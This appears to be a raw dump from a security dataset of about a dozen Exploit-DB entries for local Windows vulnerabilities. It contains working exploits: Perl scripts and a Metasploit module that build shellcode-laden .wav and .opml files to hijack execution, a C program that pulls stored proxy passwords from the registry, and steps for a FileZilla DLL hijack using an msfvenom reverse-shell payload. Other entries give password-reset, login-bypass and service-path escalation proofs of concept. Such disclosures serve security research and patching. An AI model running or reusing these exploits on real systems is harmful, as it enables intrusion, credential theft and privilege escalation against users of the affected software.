deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9495
Description: Fat Player 0.6b - '.wav' Universal Local Buffer
Type: local
Platform: windows
Date: 2009-08-24
Author: ahwak2000

Exploit:
#!/usr/bin/perl
# by ahwak2000
# email: 0.w[at]w.cn
#Tested on Windows XP SP3 (English)
# Fat Player 0.6b(wav) Universal Local Buffer Exploit
#http://sourceforge.net/projects/fatplayer/
###################################################################
my $shellcode=
"\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49".
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56".
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41".
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42".
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a".
"\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47".
"\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c".
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a".
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46".
"\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45".
"\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c".
"\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c".
"\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44".
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c".
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46".
"\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50".
"\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44".
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45".
"\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43".
"\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b".
"\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43".
"\x51\x42\x4c\x42\x43\x43\x30\x41\x41";
###################################################################
my $overflow="\x41" x 4124;
my $sh= "\xEB\x09\x90\x90";#short jump
my $jmp="\x1F\x22\x44\x00";# Universal  -- 004422    .  FFE4               JMP ESP
my $nop="\x90" x 20;
###################################################################
open(myfile,'>> ahwak2000.wav');
print myfile $overflow.$sh.$jmp.$nop.$shellcode;
###################################################################

# milw0rm.com [2009-08-24]
Exploit-DB #16628
Description: Fat Player Media Player 0.6b0 - Local Buffer Overflow (Metasploit)
Type: local
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: fatplayer_wav.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::FILEFORMAT
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Fat Player Media Player 0.6b0 Buffer Overflow',
			'Description'    => %q{
					This module exploits a buffer overflow in Fat Player 0.6b. When
				the application is used to import a specially crafted wav file, a buffer overflow occurs
				allowing arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'James Fitts', 		# Original Exploit
					'dookie',		# Metasploit Module
				],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'OSVDB', '57343'],
					[ 'URL', 'https://www.exploit-db.com/exploits/15279/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'seh',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a",
					'StackAdjustment' => -3500
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => 0x0046bee3 } ],	# p/p/r in FatPlayer.exe
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 18 2010',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
			], self.class)

	end

	def exploit

		sploit = rand_text_alpha_upper(100)
		sploit << make_nops(100)
		sploit << payload.encoded
		sploit << rand_text_alpha_upper(3932 - (payload.encoded.length))
		sploit << generate_seh_record(target.ret)
		sploit << "\xe9\x60\xf0\xff\xff"	# Jump back 4000 bytes
			
		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(sploit)
		
	end

end
Exploit-DB #8010
Description: feedDemon 2.7 - OPML Outline Tag Buffer Overflow
Type: local
Platform: windows
Date: 2009-02-09
Author: cenjan

Exploit:
#!/usr/local/bin/perl
#-----------------------------------------------------------------------------
# FeedDemon version 2.7.0.0 Buffer overFlow
# Reference:
#	http://security.bkis.vn/?p=329
#	https://www.securityfocus.com/bid/33630/info
#	http://secunia.com/advisories/33718/
# Tested in Windows XP Sp2 (English)
# Created by cenjan (xcenjanx@yahoo.com)
# Description: 	 + This code generates a opml file (feeddemonexploit.opml)
#              		 + Import that file by the Import Feed function of Feed Demon
#               		+ The calc.exe will execute
#-----------------------------------------------------------------------------
my $head='<opml version="1.1"><body><outline text="';
my $overflow = "\x90" x 8006;

# Shellcode by Metasploit
my $devil=
"\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\xEC".
"\x2D\x36\x5E\x83\xEB\xFC\xE2\xF4\x10\xC5\x72\x5E\xEC\x2D\xBD".
"\x1B\xD0\xA6\x4A\x5B\x94\x2C\xD9\xD5\xA3\x35\xBD\x1\xCC\x2C".
"\xDD\x17\x67\x19\xBD\x5F\x2\x1C\xF6\xC7\x40\xA9\xF6\x2A\xEB".
"\xEC\xFC\x53\xED\xEF\xDD\xAA\xD7\x79\x12\x5A\x99\xC8\xBD\x1".
"\xC8\x2C\xDD\x38\x67\x21\x7D\xD5\xB3\x31\x37\xB5\x67\x31\xBD".
"\x5F\x7\xA4\x6A\x7A\xE8\xEE\x7\x9E\x88\xA6\x76\x6E\x69\xED".
"\x4E\x52\x67\x6D\x3A\xD5\x9C\x31\x9B\xD5\x84\x25\xDD\x57\x67".
"\xAD\x86\x5E\xEC\x2D\xBD\x36\xD0\x72\x7\xA8\x8C\x7B\xBF\xA6".
"\x6F\xED\x4D\xE\x84\xDD\xBC\x5A\xB3\x45\xAE\xA0\x66\x23\x61".
"\xA1\xB\x4E\x57\x32\x8F\x2D\x36\x5E\x90\x90\x90\x90\x90\x90".
"\x90\x90\xED\x1E\x94\x7C\x90\x90\x90\x90\x90\x90\x90\x90\x90".
"\x90\x90\x90\x90\x90\x89\xE1\xFE\xCD\xFE\xCD\xFE\xCD\xFE\xCD".
"\xFE\xCD\xFE\xCD\x89\xCC\xFF\xE4";

my $tail='"><outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/></outline></body></opml>';
open (f,'>feeddemonexploit.opml');
print f "\xff\xfe";
close(f);

open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
print f $head;
close(f);

open (f,'>>feeddemonexploit.opml');
print f $overflow;
print f $devil;
close(f);

open (f,'>>:encoding(ucs-2le)','feeddemonexploit.opml');
print f $tail;
close (f);
print "Create exploit file successfully!";

# milw0rm.com [2009-02-09]
Exploit-DB #51375
Description: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
Type: local
Platform: windows
Date: 2023-04-20
Author: Andrea Intilangelo

Exploit:
# Exploit Title: File Replication Pro 7.5.0 - Privilege Escalation/Password reset due Incorrect Access Control
# Date: 2023-04-13
# Exploit Author: Andrea Intilangelo
# Vendor Homepage: http://www.diasoft.net - https://www.filereplicationpro.com
# Software Link: http://www.filereplicationpro.com/install/InstData/Windows_64_Bit/VM/frpro.exe
# Version: 7.5.0
# Tested on: Windows 10 Pro 22H2 x64
# CVE: CVE-2023-26918

Incorrect file/folder permissions in Diasoft Corporation's File Replication Pro 7.5.0 allow privilege escalation by
replacing a file with another one that will be executed with "LocalSystem" rights from Windows Services application.

C:\Program Files>icacls "c:\Program Files\FileReplicationPro"
c:\Program Files\FileReplicationPro Everyone:(F)
                                    Everyone:(OI)(CI)(IO)(F)

C:\Users\Administrator>sc qc frp
[SC] QueryServiceConfig OPERAZIONI RIUSCITE

NOME_SERVIZIO: frp
        TIPO                      : 10  WIN32_OWN_PROCESS
        TIPO_AVVIO                : 2   AUTO_START
        CONTROLLO_ERRORE          : 1   NORMAL
        NOME_PERCORSO_BINARIO     : "C:\Program Files\FileReplicationPro\prunsrv.exe" //RS//frp
        GRUPPO_ORDINE_CARICAMENTO :
        TAG                       : 0
        NOME_VISUALIZZATO         : FRPReplicationServer
        DIPENDENZE                : Tcpip
                                  : Afd
        SERVICE_START_NAME : LocalSystem

To exploit the vulnerability a malicious actor/process must weaponize or replace the prunsrv.exe executable that runs
with LocalSystem privileges as "frp" (FRPReplicationServer) service, since the application's path has "Everyone" full
access permissions.

Moreover, the "properties.xml" file in the "etc" folder inside program's path contains the hashed password for remote
access stored in sha1(base64) value, that is possible to modify. Replacing it with a new hash, generated by encrypting
a string in SHA-1 and encoding its digest via base64, will grant the login access on the application's web interface.
Exploit-DB #50763
Description: File Sanitizer for HP ProtectTools 5.0.1.3 - 'HPFSService' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: SamAlucard

Exploit:
#Exploit Title:  File Sanitizer for HP ProtectTools 5.0.1.3 - 'HPFSService' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-14
#Vendor :  Hewlett-Packard(HP)
#Version : File Sanitizer for HP ProtectTools 5.0.1.3
#Vendor Homepage : http://www.hp.com
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============

C:\>sc qc HPFSService
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: HPFSService
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Hewlett-Packard\File
Sanitizer\HPFSService.exe
        GRUPO_ORDEN_CARGA  : File System
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : File Sanitizer for HP ProtectTools
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #21892
Description: FileBound 6.2 - Local Privilege Escalation
Type: local
Platform: windows
Date: 2012-10-11
Author: Nathaniel Carew

Exploit:
Sense of Security - Security Advisory - SOS-12-010

Release Date.              10-Oct-2012
Last Update.               -              
Vendor Notification Date.  14-Aug-2012
Product.                   FileBound On-Site
Platform.                  Windows
Affected versions.         All versions prior to 6.2
Severity Rating.           High
Impact.                    Privilege escalation
Attack Vector.             From remote with authentication
Solution Status.           Vendor patch
CVE reference.             CVE - not yet assigned

Details.
The FileBound On-Site document management application is 
vulnerable to a privilege escalation attack by sending a 
modified password request to the FileBound web service.
By modifying the UserID value you can reset the password 
of any local user in the application without requiring 
administrative privileges.

Proof of Concept.
Authenticate to FileBound via the following web service 
method and SOAP request:

http://www.company.com/Filebound.asmx?op=Login
   <soapenv:Body>
      <fil:Login>
         <fil:UserName>sosuser</fil:UserName>
         <fil:Password>daisyp0p</fil:Password>
      </fil:Login>
   </soapenv:Body>

After authentication a request can be sent to the following 
administrator's password reset web service method and 
SOAP request:

http://www.company.com/Filebound.asmx?op=SetPassword2
   <soapenv:Body>
      <fil:SetPassword2>
         <fil:UserID>32</fil:UserID>
         <fil:Password>lightsouthern</fil:Password>
         <fil:ResetPasswordExpires>0</fil:ResetPasswordExpires>
      </fil:SetPassword2>
   </soapenv:Body>

By modifying the UserID value the password can be reset for
any existing user in the system. A response code of -1 
confirms the password reset was successful.

Solution.
Install the latest vendor patch.

Discovered by.
Nathaniel Carew from Sense of Security Labs.

About us.
Sense of Security is a leading provider of information security and
risk management solutions. Our team has expert skills in assessment 
and assurance, strategy and architecture, and deployment through to
ongoing management. We are Australia's premier application penetration
testing firm and trusted IT security advisor to many of the country's
largest organisations.


Sense of Security Pty Ltd 
Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au/consulting/penetration-testing
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:
http://www.senseofsecurity.com.au/advisories/SOS-12-010.pdf

Other Sense of Security advisories can be found at:
http://www.senseofsecurity.com.au/research/it-security-advisories.php
Exploit-DB #35077
Description: Filemaker Pro 13.03 / Advanced 12.04 - Authentication Bypass / Privilege Escalation
Type: local
Platform: windows
Date: 2014-10-27
Author: Giuseppe D'Amore

Exploit:
Filemaker Login Bypass and Privilege Escalation
=======================================================================

[ADVISORY INFORMATION]

Title:    		Filemaker Login Bypass and Privilege Escalation
Discovery date: 	19/10/2014
Release date:   	19/10/2014
Vendor Homepage: 	www.filemaker.com
Version:		Filemaker Pro 13.0v3 - FileMaker Pro Advanced 12.0v4
Credits:        	Giuseppe D'Amore (http://it.linkedin.com/pub/giuseppe-d-amore/69/37/66b)
 
[VULNERABILITY INFORMATION]

Class:           	Authentication Bypass and Privilege Escalation
Category:		Desktop Application
Severity:		High
CVSS v2 Vector:         7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C			

[AFFECTED PRODUCTS]

This security vulnerability affects:

	* FileMaker Pro 13.0v3 - FileMaker Pro Advanced 12.0v4

[VULNERABILITY DETAILS]

There is a obvious vulnerability of FileMaker that allow access to the local FM-based database file:
On DBEngine dll, there is a function called MatchPasswordData:

	...
	...
	...
	5BB8D53A   C68[PII_REDACTED]0 >MOV BYTE PTR SS:[ESP+274],0
	5BB8D542   FF15 D437D25B    CALL DWORD PTR DS:[<&Support.??1PasswordHash@Draco@@QAE@XZ>]  <-- Compute the password's hash.
	5BB8D548   8B8C24 6C020000  MOV ECX,DWORD PTR SS:[ESP+26C]
	5BB8D54F   5F               POP EDI
	5BB8D550   5E               POP ESI
	5BB8D551   8AC3             MOV AL,BL			<-- if AL is 0 then you are not authenticated else if AL is 1 you are authenticated,
 								    so simply by changing a single bit you are able to bypass the login,
								    also if your username is Admin, you can obtain a privilege escalation and full permissions on DB.
	5BB8D553   64:890D 00000000 MOV DWORD PTR FS:[0],ECX
	5BB8D55A   5B               POP EBX
	5BB8D55B   8BE5             MOV ESP,EBP
	5BB8D55D   5D               POP EBP
	5BB8D55E   C2 0400          RETN 4
	...
	...
	...


it doesn't matter if your desktop or mobile application is developed in a "secure manner", your confidential data on the database can be accessed.

[DISCLOSURE TIME-LINE]

    * 19/10/2014 - Public disclosure and simultaneously initial vendor contact.
 
[DISCLAIMER]

The author is not responsible for the misuse of the information provided in
this security advisory. The advisory is a service to the professional security
community. There are NO WARRANTIES with regard to this information. Any
application or distribution of this information constitutes acceptance AS IS,
at the user's own risk. This information is subject to change without notice.
Exploit-DB #964
Description: FilePocket 1.2 - Local Proxy Password Disclosure
Type: local
Platform: windows
Date: 2005-04-28
Author: Kozan

Exploit:
/*****************************************************************

FilePocket v1.2 Local Proxy Password Disclosure Exploit by Kozan

Application: FilePocket 1.2 (probably prior versions)
Vendor: ExoticSoft - www.exoticsoft.com
Vulnerable Description: FilePocket v1.2 discloses proxy passwords
to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
        proxyport[BUFSIZE],
        proxyuser[BUFSIZE],
        proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

       if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FilePocket\\Settings",
                                       0,
                                       KEY_QUERY_VALUE,
                                       &hKey) == ERROR_SUCCESS)
       {

			lRet = RegQueryValueEx( hKey, "ProxyAddress", NULL, NULL,(LPBYTE)
proxyaddr,&dwBufLen);
			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyaddr,"Not
found!");

			lRet = RegQueryValueEx( hKey, "ProxyPassword", NULL, NULL,(LPBYTE) proxypass,
&dwBufLen);
			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxypass,"Not
found!");

			lRet = RegQueryValueEx( hKey, "ProxyUsername", NULL, NULL,(LPBYTE) proxyuser,
&dwBufLen);
			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyuser,"Not
found!");

			lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport,
&dwBufLen);
			if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ) strcpy(proxyport,"Not
found!");

			RegCloseKey( hKey );

			printf("FilePocket v1.2 Local Proxy Password Disclosure Exploit by Kozan\n");
			printf("Credits to ATmaCA\n");
			printf("www.netmagister.com  -  www.spyinstructors.com\n");
			printf("kozan@netmagister.com\n\n");
			printf("Proxy Address   : %s\n",proxyaddr);
			printf("Proxy Port      : %s\n",proxyport);
			printf("Proxy Username  : %s\n",proxyuser);
			printf("Proxy Password  : %s\n",proxypass);

		}
		else printf("FilePocket is not installed on your system!\n");
		return 0;
}

// milw0rm.com [2005-04-28]
Exploit-DB #51267
Description: FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking
Type: local
Platform: windows
Date: 2023-04-06
Author: Bilal Qureshi

Exploit:
#---------------------------------------------------------
# Title: FileZilla Client 3.63.1 - 'TextShaping.dl' DLL Hijacking
# Date: 2023-02-14
# Author: Bilal Qureshi
# Vendor: https://filezilla-project.org/
# Version: 3.63.1
# Tested on: Windows 10 Pro 64-bit (10.0, Build 19044)
#---------------------------------------------------------


Description:
FileZilla is a free and open-source, cross-platform FTP application, consisting of FileZilla Client and FileZilla Server. Clients are available for Windows, Linux, and macOS. Both server and client support FTP and FTPS, while the client can in addition connect to SFTP servers.


DLL Library named TextShaping.dll is not present at the FileZilla folder, this file can be loaded with the app.
Make malicious .dll file via msfvenom

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o TextShaping.sll

place at the destination folder

start listener via nc

nc -lvp 7777

C:\PRogram Files\FileZilla FTP Client>
C:\PRogram Files\FileZilla FTP Client>
Exploit-DB #39803
Description: FileZilla FTP Client 3.17.0.0 - Unquoted Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-05-11
Author: Cyril Vallicari

Exploit:
-----------------------------------
# Exploit Title: Filezilla 3.17.0.0 windows installer Privileges Escalation
via unquoted path vulnerability
# Date: 08/05/2016
# Exploit Author: Cyril Vallicari
# Vendor Homepage: https://filezilla-project.org/
# Software Link: https://filezilla-project.org/download.php?type=client
# Version: 3.17.0.0
# Tested on: Windows 7 x64 SP1 (but it should works on all windows version)
# CVE : Asked it is reviewed (11/08/2016)


Summary : FileZilla is a free software, cross-platform FTP application,
consisting of FileZilla Client and FileZilla Server. Client binaries are
available for Windows, Linux, and Mac OS X.

Description : The installer of Filezilla for Windows version 3.17.0.0 and
probably prior and prone to unquoted path vulnerability .

The unquoted command called is : C:\Program Files\FileZilla FTP
Client\uninstall.exe _?=C:\Program Files\FileZilla FTP Client

This could potentially allow an authorized but non-privileged local user to
execute arbitrary code with elevated privileges on the system.

POC :

Put a software named "Program.exe" in C: (or named
Filezilla.exe/Filezilla FTP.exe in Program Files)

Then uninstall Filezilla from installer

After clicking "Next" on the installer window, Program.exe is execute with
Administrator rights

POC video : https://www.youtube.com/watch?v=r06VwwJ9J4M


Patch :

Fixed in version 3.17.0.1

---------------------------------------------------------------------
Exploit-DB #51483
Description: Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation
Type: local
Platform: windows
Date: 2023-05-25
Author: Thurein Soe

Exploit:
# Exploit Title: Filmora 12 version ( Build 1.0.0.7) - Unquoted Service Paths Privilege Escalation
# Date: 20  May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://filmora.wondershare.com
# Software Link: https://mega.nz/file/tQNGGZTQ#E1u20rdbT4R3pgSoUBG93IPAXqesJ5yyn6T8RlMFxaE
# Version: Filmora 12 ( Build 1.0.0.7)
# Tested on: Windows 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31747


Vulnerability description:
Filmora is a professional video editing software. Wondershare NativePush
Build 1.0.0.7 was part of Filmora 12 (Build 12.2.1.2088). Wondershare
NativePush Build 1.0.0.7 was installed while Filmora 12 was installed. The
service name "NativePushService" was vulnerable to unquoted service paths
vulnerability which led to full local privilege escalation in the affected
window operating system as the service "NativePushService" was running with
system privilege that the local user has write access to the directory
where the service is located. Effectively, the local user is able to
elevate to local admin upon successfully replacing the affected executable.


C:\sc qc NativePushService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: NativePushService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   :
C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Native Push Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\cacls "C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe"

C:\Users\HninKayThayar\AppData\Local\Wondershare\Wondershare
NativePush\WsNativePushService.exe

BUILTIN\Users:(ID)F

                      NT AUTHORITY\SYSTEM:(ID)F

                      BUILTIN\Administrators:(ID)F

                      HNINKAYTHAYAR\HninKayThayar:(ID)F